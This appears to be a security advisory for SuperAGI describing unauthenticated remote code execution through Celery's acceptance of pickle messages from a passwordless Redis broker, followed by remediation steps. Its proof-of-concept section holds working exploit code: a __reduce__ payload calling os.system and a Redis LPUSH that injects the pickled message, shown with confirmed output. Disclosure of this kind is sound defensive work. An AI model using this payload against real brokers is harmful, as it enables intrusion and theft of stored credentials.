#1574·SuperAGI

[SECURITY] Remote Code Execution via Celery pickle deserialization over an unauthenticated Redis broker

Author: Ano1X8Created Jul 14, 2026Updated Jul 14, 2026

Summary

SuperAGI's Celery worker is configured to accept the Python-pickle content type from its message broker, and the broker (Redis) is shipped with no authentication. Any actor who can write a message to the Redis broker, an exposed or SSRF-reachable Redis instance, or a co-tenant on the container network, can place a message whose body is a malicious pickle. When the worker receives it, kombu calls pickle.loads() on the body, and a crafted __reduce__ runs an arbitrary OS command as the worker process. This is unauthenticated remote code execution on the SuperAGI backend host.


Vulnerability Details

Root cause

superagi/worker.py:

python
redis_url = get_config('REDIS_URL', 'super__redis:6379')          # :23  (default, no password)
app = Celery("superagi", include=["superagi.worker"], ...)
app.conf.broker_url    = "redis://" + redis_url + "/0"            # :26
app.conf.result_backend = "redis://" + redis_url + "/0"          # :27
app.conf.worker_concurrency = 10
app.conf.accept_content = ['application/x-python-serialize', 'application/json']   # :29  <-- accepts pickle

accept_content is the allow-list of content types the worker will deserialize. Including application/x-python-serialize means kombu will pickle.loads() the body of any message it pulls off the broker with that content type, not only the two tasks that declare serializer='pickle' (summarize_resource :75, webhook_callback :106). Deserialization happens during message reception, before task routing, so the pickle executes even if the task name is unknown.

The broker is Redis with no requirepass. All shipped compose files use image: redis/redis-stack-server:latest with no password set (docker-compose.yaml, docker-compose-dev.yaml, docker-compose.image.example.yaml).

Attack vectors (any one places bytes on the broker)

  1. Exposed Redis. The compose files include a commented - "6379:6379" block; operators who uncomment it (common for debugging/monitoring), or who run Redis on a reachable interface, expose an unauthenticated broker directly.
  2. SSRF to Redis. Any SSRF primitive in the app or its agent tools that can send bytes to super__redis:6379 can push a Celery message (Redis speaks a line protocol that tolerates injected commands).
  3. Container/network co-tenant. Any other workload on the super_network bridge reaches the unauthenticated broker and can LPUSH to the task queue.

Proof of Concept

poc/poc_celery_pickle_rce.py stands up a throwaway unauthenticated Redis (mirroring the shipped config), replicates the worker's exact accept_content, has the attacker push a crafted pickle message straight onto the broker queue via redis-py (no Celery client, only Redis write access), runs the real Celery worker, and confirms code execution.

1. Malicious pickle (runs at pickle.loads time):

python
class Exploit:
    def __reduce__(self):
        return (os.system, ("touch /tmp/PWNED_superagi; id > /tmp/PWNED_superagi.id",))

2. Attacker places it on the broker queue (Redis write only):

python
r.lpush("celery", json.dumps({
    "body": base64.b64encode(pickle.dumps(Exploit())).decode(),
    "content-type": "application/x-python-serialize",     # worker accepts this
    "content-encoding": "binary",
    "headers": {"task": "superagi.worker.summarize_resource", "id": "...", ...},
    "properties": {"body_encoding": "base64", "delivery_info": {"routing_key": "celery"}, ...},
}))

3. The worker deserializes and executes. Confirmed output:

[*] unauthenticated Redis broker up on :6390 (no requirepass, as SuperAGI ships)
[*] attacker LPUSHed a pickle message onto broker queue 'celery' (no Celery client, just Redis)
[*] starting the real Celery worker (accept_content includes pickle)...
marker present : True (/tmp/PWNED_superagi_XXXX)
command output: uid=1000(kali) gid=1000(kali) groups=1000(kali),...
VERDICT: REMOTE CODE EXECUTION CONFIRMED - attacker pickle on the broker executed in the worker

Run:

python3 poc/poc_celery_pickle_rce.py

Impact

Vulnerability Description
Remote code execution Arbitrary OS command execution as the SuperAGI worker process (full agent-execution privileges: DB, tool credentials, API keys, filesystem).
Unauthenticated No SuperAGI account or token needed; only write access to the broker.
Lateral movement The worker holds DB and provider credentials; RCE here pivots to the wider deployment.

CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H = 8.1 (AC:H reflects that Redis is not port-exposed by default). With Redis exposed or SSRF-reachable the vector is AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8.

Same class as AutoGPT (CVE-2026-33233) and python-rq (rq#2389): a task broker that accepts pickle plus an unauthenticated store equals RCE.


Remediation

Immediate (one line): stop accepting pickle. In superagi/worker.py:

python
app.conf.accept_content = ['json']       # remove 'application/x-python-serialize'
app.conf.task_serializer = 'json'
app.conf.result_serializer = 'json'

Then change the two serializer='pickle' tasks (summarize_resource :75, webhook_callback :106) to pass JSON-serializable arguments instead of pickled objects.

Additional hardening:

  1. Set a strong requirepass on Redis and put credentials in REDIS_URL (redis://:<password>@super__redis:6379/0); never ship an unauthenticated broker.
  2. Bind Redis to the internal network only; never expose 6379 to the host or public interfaces.
  3. Enable Redis ACLs to restrict which clients can write to broker keys.
  4. Treat the broker as an untrusted boundary: JSON-only serialization removes code execution even if an attacker reaches the broker.

Source: TransformerOptimus/SuperAGI